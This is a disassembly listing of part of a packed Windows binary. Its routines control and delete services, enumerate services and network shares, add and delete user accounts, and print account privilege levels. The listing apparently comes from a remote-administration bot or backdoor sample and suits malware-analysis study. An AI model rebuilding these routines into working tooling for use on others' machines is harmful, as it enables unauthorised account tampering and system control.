		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9D8	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8C0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB92C	; ControlService
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8C8	; StartServiceA
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB930	; DeleteService


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		call	dword_427094	; RtlGetLastWin32Error
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8DC	; CloseServiceHandle


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8DC	; CloseServiceHandle
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: .packed:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: .packed:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB390
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB390
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB390
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9D8	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB9A4	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_418F1A
		call	dword_427094	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418F74
		dec	eax
		jz	short loc_418F6D
		dec	eax
		jz	short loc_418F66
		dec	eax
		jz	short loc_418F5F
		dec	eax
		jz	short loc_418F58
		dec	eax
		jz	short loc_418F51
		dec	eax
		jz	short loc_418F4A
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F4A:				; CODE XREF: sub_418EA8+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F51:				; CODE XREF: sub_418EA8+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F58:				; CODE XREF: sub_418EA8+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F5F:				; CODE XREF: sub_418EA8+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F66:				; CODE XREF: sub_418EA8+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F6D:				; CODE XREF: sub_418EA8+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418F79
; ---------------------------------------------------------------------------


loc_418F74:				; CODE XREF: sub_418EA8+87j
		push	offset aStopped	; "    Stopped"


loc_418F79:				; CODE XREF: sub_418EA8+A0j
					; sub_418EA8+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_418F2B


loc_418FC5:				; CODE XREF: sub_418EA8+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418EE0


loc_418FCE:				; CODE XREF: sub_418EA8+6Cj
		push	[ebp+var_C]
		call	dword_4CB8DC	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_418EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418FE5	proc near		; CODE XREF: sub_401ACD:loc_406064p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_41907F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41900E
		dec	eax
		jnz	short loc_41905F
		push	edi
		push	0
		call	sub_4191B8
		pop	ecx
		pop	ecx
		jmp	short loc_41905B
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418FE5+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41904D
		push	24h
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41904D
		push	57h
		pop	eax


loc_419025:				; CODE XREF: sub_418FE5+78j
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_439520[eax*4]
		push	offset unk_439BCC
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41904D:				; CODE XREF: sub_418FE5+2Dj
					; sub_418FE5+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_41910C
		add	esp, 0Ch


loc_41905B:				; CODE XREF: sub_418FE5+27j
		test	eax, eax
		jnz	short loc_419025


loc_41905F:				; CODE XREF: sub_418FE5+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB64C
		push	off_439524[eax*4]
		push	offset dword_439BB0
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41909F
; ---------------------------------------------------------------------------


loc_41907F:				; CODE XREF: sub_418FE5+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB64C
		lea	eax, [eax+eax*2]
		push	off_439520[eax*4]
		push	offset unk_439B8C
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_41909F:				; CODE XREF: sub_418FE5+66j
					; sub_418FE5+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4190A5	proc near		; CODE XREF: sub_41A3C6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_4190B2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4190B2:				; CODE XREF: sub_4190A5+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_427188
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DB84C, 1
		mov	ebp, eax
		jnz	short loc_4190EF
		or	byte_4DB84C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	dword_4DB5EC, eax


loc_4190EF:				; CODE XREF: sub_4190A5+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB5EC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DB5EC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_4190A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41910C	proc near		; CODE XREF: sub_418FE5+6Ep
					; sub_41A6EA+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C990
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_419177
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB8D8
		pop	edi
		leave
		retn
sub_41910C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419177	proc near		; CODE XREF: sub_41910C+Ap
					; sub_41910C+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_419184
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419184:				; CODE XREF: sub_419177+9j
		push	ebx
		push	esi
		mov	esi, dword_4270E8
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419177	endp


; =============== S U B	R O U T	I N E =======================================



sub_4191B8	proc near		; CODE XREF: sub_418FE5+20p
					; sub_41A3C6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB8B0
		pop	esi
		retn
sub_4191B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191DB	proc near		; CODE XREF: sub_401ACD+45AEp

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_419177
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_419214:				; CODE XREF: sub_4191DB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB928
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_419277
		cmp	ebx, 0EAh
		jz	short loc_419277
		push	ebx
		push	ebx
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439C18
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_4192E4
; ---------------------------------------------------------------------------


loc_419277:				; CODE XREF: sub_4191DB+5Dj
					; sub_4191DB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4192DB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_419285:				; CODE XREF: sub_4191DB+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB8CC	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_41929C
		mov	eax, offset aNo	; "No"


loc_41929C:				; CODE XREF: sub_4191DB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_419285
		xor	esi, esi


loc_4192DB:				; CODE XREF: sub_4191DB+A2j
		push	[ebp+var_4]
		call	dword_4CBA74


loc_4192E4:				; CODE XREF: sub_4191DB+9Aj
		cmp	ebx, 0EAh
		jz	loc_419214
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4191DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192FC	proc near		; CODE XREF: sub_401ACD:loc_4060EDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4193A1
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_41933E
		dec	eax
		jz	short loc_419333
		dec	eax
		jnz	short loc_419359
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_419443
		add	esp, 14h
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419333:				; CODE XREF: sub_4192FC+1Dj
		push	ebx
		push	edi
		call	sub_419422
		pop	ecx
		pop	ecx
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_41933E:				; CODE XREF: sub_4192FC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_419352
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4193C8
		add	esp, 0Ch
		jmp	short loc_419355
; ---------------------------------------------------------------------------


loc_419352:				; CODE XREF: sub_4192FC+45j
		push	57h
		pop	eax


loc_419355:				; CODE XREF: sub_4192FC+35j
					; sub_4192FC+40j ...
		cmp	eax, edi
		jnz	short loc_419379


loc_419359:				; CODE XREF: sub_4192FC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_439524[eax*4]
		push	offset unk_439CD0
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_419379:				; CODE XREF: sub_4192FC+5Bj
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB850
		push	off_439520[eax*4]
		push	offset unk_439CA0
		push	esi
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4193C1
; ---------------------------------------------------------------------------


loc_4193A1:				; CODE XREF: sub_4192FC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB850
		lea	eax, [eax+eax*2]
		push	off_439520[eax*4]
		push	offset unk_439C78
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_4193C1:				; CODE XREF: sub_4192FC+7Bj
					; sub_4192FC+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4192FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193C8	proc near		; CODE XREF: sub_4192FC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_419177
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_419177
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB8BC
		pop	edi
		leave
		retn
sub_4193C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_419422	proc near		; CODE XREF: sub_4192FC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_419177
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB8AC
		pop	esi
		retn
sub_419422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419443	proc near		; CODE XREF: sub_4192FC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_419177
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_419177
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CBA3C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4197EB
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_419826
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41C266
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419562
		dec	eax
		jz	short loc_41955B
		dec	eax
		jz	short loc_419554
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419554:				; CODE XREF: sub_419443+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_41955B:				; CODE XREF: sub_419443+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_419567
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419443+102j
		mov	eax, offset aGuest ; "Guest"


loc_419567:				; CODE XREF: sub_419443+10Fj
					; sub_419443+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
